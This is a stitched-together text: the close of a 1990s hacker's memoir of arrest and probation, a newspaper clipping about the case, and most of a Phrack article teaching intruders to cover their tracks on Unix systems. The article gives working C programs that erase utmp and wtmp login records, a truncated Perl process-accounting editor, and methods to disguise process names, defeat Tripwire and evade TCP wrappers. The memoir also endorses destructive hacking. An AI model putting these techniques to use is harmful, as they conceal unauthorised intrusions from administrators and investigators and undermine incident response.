However, Jeffery was to vent his impotent rage in repeated visits to
the Lab at late hours. On a subsequent occasion, he again threatened
to arrest Dale, without providing any reason or justification for it.
The police, Jeffery and others, always had some pretext for these visits,
but the fact that these visits only occurred when Dale was
present in the Lab, and that they visited no one else, seems to be
solid circumstantial evidence that they were more than routine
checkups.
Once the authorities become interested in you, the file is never
closed. Perhaps it will sit in a computer for ten or twenty years.
Perhaps it will never be accessed again. However, perhaps some
day in the distant future the police will be investigating some
unrelated incident, and will once again note your name. You were
in the wrong building, or talked to the wrong person. Suddenly,
their long-dormant interest in you has reawakened. Suddenly, they
once again want you for questioning. Suddenly, once again, they
pull your life out from under you.
This is the way democracies die, not by revolution or coups d'etat,
not by the flowing of blood in the streets like water, as historical
novelists so quaintly write. Democracies die by innumerable papercuts.
Democracies die by the petty actions of petty bureaucrats who, like
mosquitoes, each drain their little drop of life's blood until none
is left.
XVI. Lightning Always Strikes the Same Place Twice
One day, Dale received in the mail a subpoena, which informed him that
his testimony was required in the upcoming trial of Ron Gere, who
had moved to Florida. The cops had charged him with criminal
conspiracy in the creation of the Huang account at the Engineering
Computer Lab.
Now, not only was I guilty of being used as a weapon against a
friend, but also guilty of this further complication, that the
police were to use a friend of mine as a weapon against yet
another friend.
It is interesting to note the manner in which the police use
betrayal, deceit and infamous methods to prosecute crime.
It is especially interesting to note the increased use of
such methods in the prosecution of crimes with no apparent victim.
Indeed, in this specific case, the only victim with a demonstrable
loss testified against the police and for the accused.
Dale resolved to plead the Fifth to any question regarding Ron,
and to risk contempt of court by doing so, rather than be used
in this manner.
This was not necessary. As it happened, Ron was to drive well over
two thousand miles simply to sign a paper and receive ARD. The three
of us commiserated, and then Ron was on his way back to Florida.
XVII. Sentencing
Dale and I reported to the appropriate courtroom for sentencing. In
the hall, a young man, shackled and restrained by two police officers,
was yelling: "I'm eighteen, and I'm having a very bad day!" The cops
didn't bat an eye as they dragged him to the adjoining prison.
We sat.
The presiding judge, the Hon. David C. Grine, surveyed with evident
disdain a room full of criminals like us. Deborah Lux was there, once
again serving as counsel. David Crowley was mercifully absent.
The judge briefly examined each case before him. For each case, he announced
the amount of the fine, the time of probation, and banged his gavel.
Immediately before he arrived at our case, he looked at a man directly to
our left. Instead of delivering the usual ARD sentence, he flashed a
sadistic grin and said: "Two years jail." Dealing marijuana was the crime.
The man's attorney objected. The judge said: "Okay, two years, one
suspended." The attorney, another flunky from the public defender's
office, sat down again. Two cops immediately dragged the man from the
courtroom to take him to jail.
I noted that practically everyone in the room was poor,
and those with whom I spoke were all uneducated. DUI was the
most common offense.
Judge Grine came to our case, announced the expected sentence,
and we reported upstairs to be assigned probation officers. I was
disgusted with myself for having agreed to this arrangement, and
perhaps this was why I was surly with the probation officer, Thomas
Harmon. This earned me a visit to a court-appointed psychiatrist,
to determine if I were mentally disturbed or on drugs.
That I was neither was satisfied by a single interview, and no
drug-testing was necessary; for which I am grateful, for I would
have refused any such testing. Exercising this Fifth Amendment-
guaranteed right is, of course, in this day considered to be
an admission of guilt. The slow destruction of this right began
with the government policy of "implied consent," by which one
signs over one's Fifth Amendment rights against self-incrimination
by having a driver's license, allowing a police officer to pull
you over and test your breath for any reason or for no reason
at all.
I later apologized to Thomas Harmon for my rudeness, as he had
done me no disservice; indeed, a probation officer is, at least,
in the business of keeping people out of jail instead of putting
them there; and his behavior was less objectionable than that of
any other police officer involved in my case.
Very shortly thereafter, realizing that I knew a large number
of the local police on a first-name basis, I left the area, with the
stated destination of Indiana. I spent the next two years travelling,
with such waypoints as New Orleans, Denver, Seattle and Casper, Wyoming;
and did not touch a computer for three years, almost having a horror
of them.
I did not pay my fine in the monthly installments the court demanded.
I ignored virtually every provision of my probation. I did not remain
in touch with my probation officer, almost determined that my absence
should be noticed. I did a lot of drugs, determined to obliterate all
memory of my previous life. In Seattle, heroin was a drug of choice,
so I did that for a while.
Finally, I arrived at my stated destination, Indiana, with only about
three months remaining in my probation, and none of my fines paid. Dale,
without my knowledge, called my parents and convinced them to pay the
fine.
It took me a few days of thought to decide whether or not to accept
their generous offer; I had not thought of asking them to pay the fine,
sure that they would not. Perhaps I had done them a disservice in so
assuming, but now I had to decide whether to accept their help.
If my fines were not paid, my ARD would be revoked, and a new trial
date would be set. I was half determined to return and fight this
case, still ashamed of having agreed to such a deal under duress.
However, after discussing it at exhaustive length with everyone I
knew, I came to the conclusion that to do so would be foolish and quixotic.
Hell, I thought, Thoreau did the same thing in a similar circumstance;
why shouldn't I?
I accepted my parents' offer. Three months later, I received a letter in
the mail announcing that the case had been dismissed and my records
expunged, with an annotation to the effect that records would be
retained only to determine eligibility for any future ARD. I believe
this to the same degree in which I believe that the NSA never
performs surveillance on civilians. I have my doubts that the FBI
eliminated all mention of me from their files. I shall decide after
I file a Freedom of Information Act request and receive a reply.
I now have a legitimate Internet account and due to my experiences
with weak encryption am a committed cypherpunk and Clipper Chip
proposal opponent.
What is the moral to this story?
Even now, when I have had several years to gain distance and perspective,
there does not seem to be a clear moral; only several pragmatic
lessons.
I became enamored of my own brilliance, and arrogantly sure that
my intelligence was invulnerability. I assumed my own immortality,
and took a fall. This was not due to the intelligence of my
adversaries, for the stupidity of the police was marvellous to
behold. It was due to my own belief that I was somehow infallible.
Good intentions are only as good as the precautions taken to ensure
their effectiveness.
There is always a Public Enemy Number One. As the public's fickle
attention strays from the perceived menace of drug use, it will latch
on to whatever new demon first appears on television. With the
growing prevalence of hatchet jobs on hackers in the public media,
it appears that hackers are to be the new witches.
It is advisable, then, that we avoid behavior which would tend to
confirm the stereotypes. For every Emmanuel Goldstein or R. U.
Sirius in the public eye, there are a dozen Mitnicks and Hesses;
and, alas, it is the Mitnicks and Hesses who gain the most attention.
Those who work for the betterment of society are much less interesting
to the media than malicious vandals or spies.
In addition, it is best to avoid even the appearance of dishonesty
in hacking, eschewing all personal gain.
Phreaking or hacking for personal gain at the expense of others is
entirely unacceptable. Possibly bankrupting a small company through
excessive telephone fraud is not only morally repugnant, but also puts
money into the coffers of the monopolistic phone companies that we despise.
The goal of hacking is, and always has been, the desire for full
disclosure of that information which is unethically and illegally
hidden by governments and corporations; add to that a dash of
healthy curiosity and a hint of rage, and you have a solvent capable
of dissolving the thickest veils of secrecy. If destructive means
are necessary, by all means use them; but be sure that you are not
acting from hatred, but from love.
The desire to destroy is understandable, and I sympathize with it;
anyone who can not think of a dozen government bodies which would be
significantly improved by their destruction is probably too
dumb to hack in the first place. However, if that destruction merely
leads to disproportionate government reprisals, then it is not only
inappropriate but counterproductive.
The secrecy and hoarding of information so common in the hacker
community mirrors, in many respects, the secrecy and hoarding of
information by the very government we resist. The desired result
is full disclosure. Thus, the immediate, anonymous broadband
distribution of material substantiating government and corporate
wrongdoing is a mandate.
Instead of merely collecting information and distributing it
privately for personal amusement, it must be sent to newspapers,
television, electronic media, and any other means of communication
to ensure both that this information can not be immediately
suppressed by the confiscation of a few bulletin board systems
and that our true motives may be discerned from our public and
visible actions.
Our actions are not, in the wake of Operation Sun-Devil and the
Clipper Chip proposal, entirely free. The government has declared
war on numerous subsections of its own population, and thus has
defined the terms of the conflict. The War on Drugs is a notable
example, and we must ask what sort of a government declares war
on its own citizens, and act accordingly.
Those of us who stand for liberty must act while we still can.
It is later than we think.
"In Germany they first came for the Communists and
I didn't speak up because I wasn't a Communist.
Then they came for the Jews, and I didn't speak up
because I wasn't a Jew. Then they came for the
trade unionists, and I didn't speak up because I
wasn't a trade unionist. Then they came for the
Catholics, and I didn't speak up because I was a
Protestant. Then they came for me--and by that
time no one was left to speak up." Martin Niemoeller
"They that can give up essential liberty to obtain
a litle temporary safety deserver neither
liberty nor safety." Benjamin Franklin
---------
APPENDIX A
[From cert-clippings]
Date: Sat, 10 Mar 90 00:22:22 GMT
From: thomas@shire.cs.psu.edu (Angela Marie Thomas)
Subject: PSU Hackers thwarted
The Daily Collegian Wednesday, 21 Feb 1990
Unlawful computer use leads to arrests
ALEX H. LIEBER, Collegian Staff Writer
Two men face charges of unlawful computer use, theft of services in a
preliminary hearing scheduled for this morning at the Centre County Court of
Common Pleas in Bellefonte. Dale Garrison, 111 S. Smith St., and Robert W.
Clark, 201 Twin Lake Drive, Gettysburg, were arrested Friday in connection with
illegal use of the University computer system, according to court records.
Garrison, 36, is charged with the theft of service, unlawful computer use
and criminal conspiracy. Clark, 20, is charged with multiple counts of
unlawful computer use and theft of service. [...]
Clark, who faces the more serious felony charges, allegedly used two computer
accounts without authorization from the Center of Academic Computing or the
Computer Science Department and, while creating two files, erased a file from
the system. [...] When interviewed by University Police Services, Clark
stated in the police report that the file deleted contained lists of various
groups under the name of "ETZGREEK." Clark said the erasure was accidental,
resulting from an override in the file when he tried to copy it over onto a
blank file. According to records, Clark is accused of running up more than
$1000 in his use of the computer account. Garrison is accused of running up
more than $800 of computer time.
Police began to investigate allegations of illegal computer use in November
when Joe Lambert, head of the university's computer department, told police a
group of people was accessing University computer accounts and then using those
accounts to gain access to other computer systems. Among the systems accessed
was Internet, a series of computers hooked to computer systems in industry,
education and the military, according to records.
The alleged illegal use of the accounts was originally investigated by a
Computer Emergency Response Team at Carnegie-Mellon University, which assists
other worldwide computer systems in investigating improper computer use.
Matt Crawford, technical contact in the University of Chicago computer
department discovered someone had been using a computer account from Penn State
to access the University of Chicago computer system.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 14 of 27
#!/bin/sh
# Playing Hide and Seek, Unix style.
# By Phreak Accident
#
# A "how-to" in successfully hiding and removing your electronic footprints
# while gaining unauthorized access to someone else's computer system (Unix in
# this case).
# Start counting ..
Hmm. Sucks don't it? Breaking into a system but only to have your access
cut off the next day. Right before you had the chance to download that 2
megabyte source code file you have been dying to get all year.
Why was the access cut? Damn, you forgot to nuke that .rhosts file that
you left in the root directory. Or maybe it was the wtmp entries you didn't
bother to edit. Or perhaps the tcp_wrapper logs that you didn't bother to
look for. Whatever it was, it just screwed your access and perhaps, just
got you busted.
---- Simulated incident report follows:
From: mark@abene.com (Mark Dorkenski)
Message-Id: <9305282324.AA11445@jail.abene.com>
To: incident-report@cert.org
Subject: Cracker Breakin
Status: RO
To whom it may concern,
Last night 2 of our machines were penetrated by an unauthorized
user. Apparently the cracker (or crackers) involved didn't bother
to clean up after they left.
The following are logs generated from the time the break-in
occurred.
[/usr/adm/wtmp]:
oracle ttyp1 192.148.8.15 Tue May 11 02:12 - 04:00 (02:12)
sync ttyp2 192.148.8.15 Tue May 11 01:47 - 01:47 (00:00)
robert console Mon May 10 06:00 - 04:15 (22:14)
reboot ~ Mon May 10 05:59
shutdown ~ Sun May 9 11:04
[/usr/adm/messages]:
May 11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15
May 11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15
[/usr/adm/pacct]:
ls - oracle ttyp1 0.00 secs Tue May 2 19:37
cat - oracle ttyp1 0.00 secs Tue May 2 19:37
ls - oracle ttyp1 0.00 secs Tue May 2 19:37
ls - oracle ttyp1 0.00 secs Tue May 2 19:37
rdist - root ttyp1 0.00 secs Tue May 2 19:37
sh - root ttyp0 0.00 secs Tue May 2 19:37
ed - root ttyp0 0.00 secs Tue May 2 19:37
rlogin - root ttyp0 0.00 secs Tue May 2 19:37
ls - root ttyp0 0.00 secs Tue May 2 19:37
more - root ttyp0 0.00 secs Tue May 2 19:34
We have found and plugged the areas of vulnerability and have restored
original binaries back to the system. We have already informed the proper
authorities of the breakin, including the domain contact at the remote
host in question.
Can you please relay any information regarding incident reports in our
area?
Mark Dorkenski
Network Operations
---- End of incident report
Hey, it's human nature to be careless and lazy. But, when you're a hacker,
and you're illegally breaking into computer systems this isn't a luxury that
you can afford. Your efforts in penetrating have to be exact, concise,
sharp, witty and skillful. You have to know when to retreat, run, hide,
pounce or spy. Let us put it this way, when you get your feet muddy and
walk on new carpet without cleaning it up, you're gonna get spanked.
I can't tell you how many times I've see a hacker break into a system and
leave their muddy footprints all over the system. Hell, a quarter of the
hosts on the Internet need to be steam-cleaned.
This is sad. Especially since you could have had the ability to do the
washing yourself. Why bother cracking systems if you leave unauthorized login
messages on the console for the administrators? Beats me.
This article is about hiding your access--the little tricks of the trade
that keep you unnoticed and hidden from that evil bastard, the system
administrator.
I should probably start by explaining exactly where common accounting/log
files are kept and their roles in keeping/tracking system information.
# Drinking jolt and jerking the logs
Syslog(3), The "Big Daddy" of logging daemons, is the master of all system
accounting and log reporting. Most system components and applications
depend on syslogd to deliver the information (accounting, errors, etc.) to
the appropriate place. Syslog (syslogd) reads a configuration file
(/etc/syslog.conf) on startup to determine what facilities it will support.
Syslog ususally has the following facilities and priorities:
Facilities: kern user mail daemon auth syslog lpr news uucp
Priorities: emerg alert crit err warning notice info debug
Facilities are the types of accounting that occur and priorities are the
level of urgency that the facilities will report. Most facilities are
divided and logged into separate accounting files. The common being daemon,
auth, syslog, and kern.
Priorities are encoded as a facility and a level. The facility usually
describes the part of the system generating the message. Priorities are
defined in <sys/syslog.h>.
In order to by-pass or suspend system accounting it is necessary to
understand how it works. With syslog, it is important to know how to
read and determine where accounting files are delivered. This entails
understanding how syslog configures itself for operation.
# Reading and understanding /etc/syslog.conf.
Lines in the configuration file have a selector to determine the
message priorities to which the line applies and an action. The action
fields are separated from the selector by one or more tabs.
Selectors are semicolon separated lists of priority specifiers. Each
priority has a facility describing the part of the system that generated
the message, a dot, and a level indicating the severity of the message.
Symbolic names could be used. An asterisk selects all facilities. All
messages of the specified level or higher (greater severity) are
selected. More than one facility may be selected using commas to separate
them. For example:
*.emerg;mail,daemon.crit
selects all facilities at the emerg level and the mail and daemon facil-
ities at the crit level.
Known facilities and levels recognized by syslogd are those listed in
syslog(3) without the leading ``LOG_''. The additional facility ``mark''
has a message at priority LOG_INFO sent to it every 20 minutes (this may be
changed with the -m flag). The ``mark'' facility is not enabled by a
facility field containing an asterisk. The level ``none'' may be
used to disable a particular facility. For example,
*.debug;mail.none
Sends all messages except mail messages to the selected file.
The second part of each line describes where the message is to be logged
if this line is selected. There are four forms:
o A filename (beginning with a leading slash). The file
will be opened in append mode.
o A hostname preceded by an at sign (``@''). Selected
messages are forwarded to the syslogd on the named host.
o A comma separated list of users. Selected messages are
written to those users if they are logged in.
o An asterisk. Selected messages are written to all
logged-in users.
For example, the configuration file:
kern,mark.debug /dev/console
*.notice;mail.info /usr/spool/adm/syslog
*.crit /usr/adm/critical
kern.err @phantom.com
*.emerg *
*.alert erikb,netw1z
*.alert;auth.warning ralph
logs all kernel messages and 20 minute marks onto the system
console, all notice (or higher) level messages and all mail system messages
except debug messages into the file /usr/spool/adm/syslog, and all critical
messages into /usr/adm/critical; kernel messages of error severity or
higher are forwarded to ucbarpa. All users will be informed of any
emergency messages, the users ``erikb'' and ``netw1z'' will be informed of
any alert messages, or any warning message (or higher) from the authorization
system.
Syslogd creates the file /etc/syslog.pid, if possible, containing a
single line with its process id; this is used to kill or reconfigure
syslogd.
# System login records
There are there basic areas (files) in which system login information is
stored. These areas are:
/usr/etc/wtmp
/usr/etc/lastlog
/etc/utmp
The utmp file records information about who is currently using the
system. The file is a sequence of entries with the following structure
declared in the include file (/usr/include/utmp.h):
struct utmp {
char ut_line[8]; /* tty name */
char ut_name[8]; /* user id */
char ut_host[16]; /* host name, if remote */
long ut_time; /* time on */
};
This structure gives the name of the special file associated
with the user's terminal, the user's login name, and the
time of the login in the form of time(3C). This will vary from platform
to platform. Since Sun Microsystems ships SunOs with a world writable
/etc/utmp, you can easily take yourself out of any who listing.
The wtmp file records all logins and logouts. A null username
indicates a logout on the associated terminal. Furthermore, the terminal
name `~' indicates that the system was rebooted at the indicated time;
the adjacent pair of entries with terminal names `|' and `{' indicate the
system maintained time just before and just after a date command has
changed the system's idea of the time.
Wtmp is maintained by login(1) and init(8). Neither of these programs
creates the file, so if it is removed or renamed record-keeping is turned off.
Wtmp is used in conjunction with the /usr/ucb/last command.
/usr/adm/lastlog is used by login(1) for storing previous login dates, times,
and connection locations. The structure for lastlog is as follows:
struct lastlog {
time_t ll_time;
char ll_line[8];
char ll_host[16];
};
The structure for lastlog is quite simple. One entry per UID, and it is
stored in UID order.
Creating a lastlog and wtmp editor is quite simple. Example programs are
appended at the end of this file.
# System process accounting
Usually, the more security-conscience systems will have process accounting
turned on which allows the system to log every process that is spawned.
/usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the
accounting data. These files can grow quite large as you can imagine, and
are sometimes shrunk by other system applications and saved in a compressed
format as /usr/adm/savacct or something similar.
Usually, if the accounting file is there with a 0 byte length then you can
rest assured that they are not keeping process accounting records. If they
are however, there are really only two methods of hiding yourself from this
form of accounting. One, you can suspend or stop process accounting (
which is usually done with the "accton" command) or you can edit the existing
process logfile and "wipe" your incriminating records.
Here is the common structure for the process accounting file:
struct acct
{
char ac_comm[10]; /* Accounting command name */
comp_t ac_utime; /* Accounting user time */
comp_t ac_stime; /* Accounting system time */
comp_t ac_etime; /* Accounting elapsed time */
time_t ac_btime; /* Beginning time */
uid_t ac_uid; /* Accounting user ID */
gid_t ac_gid; /* Accounting group ID */
short ac_mem; /* average memory usage */
comp_t ac_io; /* number of disk IO blocks */
dev_t ac_tty; /* control typewriter */
char ac_flag; /* Accounting flag */
};
It is extremely tricky to remove all of your account records since if you
do use a program to remove them, the program that you run to wipe the
records will still have a process that will be appended to the logfile
after it has completed.
An example program for removing process accounting records is included
at the end of this article.
Most sysadmins don't pay real attention to the process logs, since they
do tend to be rather large and grow fast. However, if they notice that a
break-in has occurred, this is one of the primary places they will look for
further evidence.
On the other hand, for normal system monitoring, you should be more worried
about your "active" processes that might show up in a process table listing
(such as ps or top).
Most platforms allow the general changing of the process name without having
any kind of privileges to do so. This is done with a simple program as noted
below:
#include <stdio.h>
#include <string.h>
int main(argc, argv)
int argc;
char **argv;
{
char *p;
for (p = argv[0]; *p; p++)
*p = 0;
strcpy(argv[0], "rn");
(void) getchar (); /* to allow you to see that ps reports "rn" */
return(0);
}
Basically, this program waits for a key-stroke and then exits. But,
while it's waiting, if you were to lookup the process it would show the name
as being "rn". You're just actually re-writing the argument list of the
spawned process. This is a good method of hiding your process or program
names ("crack", "hackit", "icmpnuker"). Its a good idea to use this method
in any "rogue" programs you might not want to be discovered by a system
administrator.
If you cant corrupt your process arguments, rename your program to something
that at least looks normal on the system. But, if you do this, make sure that
you don't run the command as "./sh" or "./ping" .. Even this looks suspicious.
Put your current path in front of your PATH environment variable and avoid
this mistake.
# Tripping the wire
That little piss-ant up at Purdue thinks he has invented a masterpiece..
I'll let his words explain what "Tripwire" is all about. Then, i'll go over
some brief flaws in tripwire and how to circumvent it.
---- Tripwire README Introduction
1.0. Background
================
With the advent of increasingly sophisticated and subtle
account break-ins on Unix systems, the need for tools to aid in
the detection of unauthorized modification of files becomes
clear. Tripwire is a tool that aids system administrators and
users in monitoring a designated set of files for any changes.
Used with system files on a regular (e.g., daily) basis, Tripwire
can notify system administrators of corrupted or tampered files,
so damage control measures can be taken in a timely manner.
1.1. Goals of Tripwire
=======================
Tripwire is a file integrity checker, a utility that compares
a designated set of files against information stored in a
previously generated database. Any differences are flagged and
logged, and optionally, a user is notified through mail. When
run against system files on a regular basis, any changes in
critical system files will be spotted -- and appropriate damage
control measures can be taken immediately. With Tripwire, system
administrators can conclude with a high degree of certainty that
a given set of files remain free of unauthorized
modifications if Tripwire reports no changes.
---- End of Tripwire excerpt
Ok, so you know what tripwire does. Yup, it creates signatures for all
files listed in a tripwire configuration file. So, if you were to change
a file that is "tripwired", the proper authorities would be notified and your
changes could be recognized. Gee. That sounds great. But there are a
couple of problems with this.
First, tripwire wasn't made to run continuously (i.e., a change to a system
binary might not be noticed for several hours, perhaps days.) This allows
somewhat of a "false" security for those admins who install tripwire.
The first step in beating tripwire is to know if the system you are on
is running it. This is trivial at best. The default location where
tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.
The "tcheck" directory is basically made up of the following files:
-rw------- 1 root 4867 tw.config
drwxr----- 2 root 512 databases
The file "tw.config" is the tripwire configuration file. Basically, it's a
list if files that tripwire will create signatures for. This file usually
consists of all system binaries, devices, and configuration files.
The directory "databases" contains the actual tripwire signatures for
every system that is configured in tw.config. The format for the database
filenames are tw.db_HOSTNAME. An example signature entry might look like:
/bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0
oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0
Nothing to get excited about. Basically it is a signature encrypted in one
of the many forms supplied by tripwire. Hard to forge, but easy to bypass.
Tripwire takes a long time to check each file or directory listed in
the configuration file. Therefore, it is possible to patch or change a system
file before tripwire runs a signature check on it. How does one do this?
Well, let me explain some more.
In the design of tripwire, the databases are supposed to be kept either on
a secure server or a read-only filesystem. Usually, if you would want to
patch a system binary 9 times out of 10 you're going to want to have root
access. Having root access to by-pass tripwire is a must. Therefore, if you
can obtain this access then it is perfectly logical that you should be able to
remount a filesystem as Read/Write. Once accomplished, after installing your
patched binary, all you have to do is:
tripwire -update PATH_TO_PATCHED_BINARY
Then, you must also:
tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
(If they are making a signature for the tripwire database itself)
You'll still be responsible for the changed inode times on the database.
But that's the risk you'll have to live with. Tripewire wont detect the change
since you updated the database. But an admin might notice the changed times.
# Wrapping up the wrappers
Ta da. You got the access. uh-oh. What if they are running a TCP
wrapper? There are three basic ways they could be running a wrapper.
1) They have modified /etc/inetd.conf and replaced the daemons they
want to wrap with another program that records the incoming
hostname and then spawns the correct daemon.
2) They have replaced the normal daemons (usually in /usr/etc) with
a program that records the hostname then launches the correct
daemon.
3) They have modified the actual wrappers themselves to record
incoming connections.
In order to bypass or disable them, you'll first need to know which
method they are using.
First, view /etc/inetd.conf and check to see if you see something
similar to:
telnet stream tcp nowait root /usr/etc/tcpd telnetd ttyXX
This is a sure sign that they are running Wietse Venema's tcp_wrapper.
If nothing is found in /etc/inetd.conf, check /usr/etc and check for any
abnormal programs such as "tcpd", "wrapd", and "watchcatd". Finally, if
nothing is still found, try checking the actually daemons by running
"strings" on them and looking for logfiles or by using sum and comparing them
to another system of the same OS that you know is not using a wrapper.
Okay, by now you know whether or not they have a wrapper installed. If
so you will have to now decide what to do with the output of the wrapper.
You'll have to know where it put the information. The most common wrapper
used is tcp_wrapper. Here is another README excerpt detailing where the
actually output from the wraps are delivered.
---- Begin of tcp_wrapper README
3.2 - Where the logging information goes
----------------------------------------
The wrapper programs send their logging information to the syslog
daemon (syslogd). The disposition of the wrapper logs is determined by
the syslog configuration file (usually /etc/syslog.conf). Messages are
written to files, to the console, or are forwarded to a @loghost.
Older syslog implementations (still found on Ultrix systems) only
support priority levels ranging from 9 (debug-level messages) to 0
(alerts). All logging information of the same priority level (or more
urgent) is written to the same destination. In the syslog.conf file,
priority levels are specified in numerical form. For example,
8/usr/spool/mqueue/syslog
causes all messages with priority 8 (informational messages), and
anything that is more urgent, to be appended to the file
/usr/spool/mqueue/syslog.
Newer syslog implementations support message classes in addition to
priority levels. Examples of message classes are: mail, daemon, auth
and news. In the syslog.conf file, priority levels are specified with
symbolic names: debug, info, notice, ..., emerg. For example,
mail.debug /var/log/syslog
causes all messages of class mail with priority debug (or more urgent)
to be appended to the /var/log/syslog file.
By default, the wrapper logs go to the same place as the transaction
logs of the sendmail daemon. The disposition can be changed by editing
the Makefile and/or the syslog.conf file. Send a `kill -HUP' to the
syslogd after changing its configuration file. Remember that syslogd,
just like sendmail, insists on one or more TABs between the left-hand
side and the right-hand side expressions in its configuration file.
---- End of tcp_wrapper README
Usually just editing the output and hoping the sysadmin didnt catch the
the wrap will do the trick since nothing is output to the console
(hopefully).
# Example programs
The following are short and sweet programs that give you the ability
to edit some of the more common logfiles found on most platforms. Most
of these are pretty simple to compile, although some might need minor
porting and OS consideration changes in structures and configurations.
---- Begin of /etc/utmp editor:
/* This program removes utmp entries by name or number */
#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>
void usage(name)
char *name;
{
printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
exit(1);
}
main(argc,argv)
int argc;
char **argv;
{
int fd;
struct utmp utmp;
int size;
int match, tty = 0;
if (argc!=2)
usage(argv[0]);
if ( !strncmp(argv[1],"tty",3) )
tty++;
fd = open("/etc/utmp",O_RDWR);
if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strcmp(utmp.ut_name, argv[1]) ) )
{
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
close(fd);
}
---- End of /etc/utmp editor
---- Begin of /usr/adm/wtmp editor:
/* This program removes wtmp entries by name or tty number */
#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>
void usage(name)
char *name;
{
printf("Usage: %s [ user | tty ]\n", name);
exit(1);
}
void main (argc, argv)
int argc;
char *argv[];
{
struct utmp utmp;
int size, fd, lastone = 0;
int match, tty = 0, x = 0;
if (argc>3 || argc<2)
usage(argv[0]);
if (strlen(argv[1])<2) {
printf("Error: Length of user\n");
exit(1);
}
if (argc==3)
if (argv[2][0] == 'l') lastone = 1;
if (!strncmp(argv[1],"tty",3))
tty++;
if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
printf("Error: Open on /usr/adm/wtmp\n");
exit(1);
}
printf("[Searching for %s]: ", argv[1]);
if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
lastone != 1)
{
if (x==10)
printf("\b%d", x);
else
if (x>9 && x!=10)
printf("\b\b%d", x);
else
printf("\b%d", x);
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
x++;
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
if (!x)
printf("No entries found.");
else
printf(" entries removed.");
printf("\n");
close(fd);
}
---- End of /usr/adm/wtmp editor
---- Begin of /usr/adm/lastcomm editor:
#!/perl
package LCE;
$date = 'Sun Jul 4 20:35:36 CST 1993';
$title = 'LCE';
$author = 'Phreak Accident';
$version = '0.0';
$copyright = 'Copyright Phreak Accident';
#------------------------------------------------------------------------------
# begin getopts.pl
# Usage: &Getopts('a:bc'); # -a takes arg. -b & -c not. Sets opt_*.
sub Getopts {
local($argumentative)=@_;
local(@args,$_,$first,$rest,$errs);
local($[)=0;
@args=split(/ */, $argumentative );
while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
($first,$rest) = ($1,$2);
$pos = index($argumentative,$first);
if($pos >= $[) {
if($args[$pos+1] eq ':') {
shift(@ARGV);
if($rest eq '') {
$rest = shift(@ARGV);
}
eval "\$opt_$first = \$rest;";
}
else {
eval "\$opt_$first = 1";
if($rest eq '') {
shift(@ARGV);
}
else {
$ARGV[0] = "-$rest";
}
}
}
else {
print STDERR "Unknown option: $first\n";
++$errs;
if($rest ne '') {
$ARGV[0] = "-$rest";
}
else {
shift(@ARGV);
}
}
}
$errs == 0;
}
# end getopts.pl
#------------------------------------------------------------------------------
sub Initialize {
$TRUE = '1'; # '1' = TRUE = '1'
$FALSE = ''; # '' = FALSE = ''
&Getopts('a:u:o:'); # Parse command line options
$acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';
$user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root';
$outf = $opt_o || $ENV{'OUTF'} || './.pacct';
select(STDOUT); $|++;
close(I);
open(I,'(cd /dev; echo tty*)|');
$ttys=<I>;
close(I);
@ttys = split(/ /,$ttys);
for $tty (@ttys) {
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
$atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty");
$TTY{"$rdev"} = "$tty";
}
$TTY{'65535'} = 'NoTTY';
# Get passwd info --> id:passwd:uid:gid:name:home:shell
close (I);
# open(I,"cat /etc/passwd|"); # If you don't run nis...
open(I,"ypcat passwd|");
while (<I>) {
chop;
split(/:/);
$PASSWD{"$_[$[+2]"}= $_[$[];
}
$PASSWD{"0"}= 'root';
# Get group info --> id:passwd:gid:members
close (I);
# open(I,"cat /etc/group|"); # If you don't run nis...
open(I,"ypcat group | ");
while (<I>) {
chop;
split(/:/);
$GROUP{"$_[$[+2]"}= $_[$[];
}
}
split(/ /,'Sun Mon Tue Wed Thu Fri Sat');
for ($x=$[ ; $x<$#_ ; $x++) {
$DAY{"$x"} = $_[$x];
}
split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec');
for ($x=$[ ; $x<$#_ ; $x++) {
$MONTH{"$x"} = $_[$x];
}
#------------------------------------------------------------------------------
sub LCE {
&Initialize();
open(I,"<$acct");
close(O);
open(O,">$outf");
$template='CCSSSLSSSSSSA8';
while (read(I,$buff,32)) {
($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
unpack($template,$buff);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime($bt);
$mon++;
$mon = "0$mon" if ($mon < 10);
$mday = "0$mday" if ($mday < 10);
$hour = "0$hour" if ($hour < 10);
$min = "0$min" if ($min < 10);
$sec = "0$sec" if ($sec < 10);
$tt = localtime($bt);
$flags='';
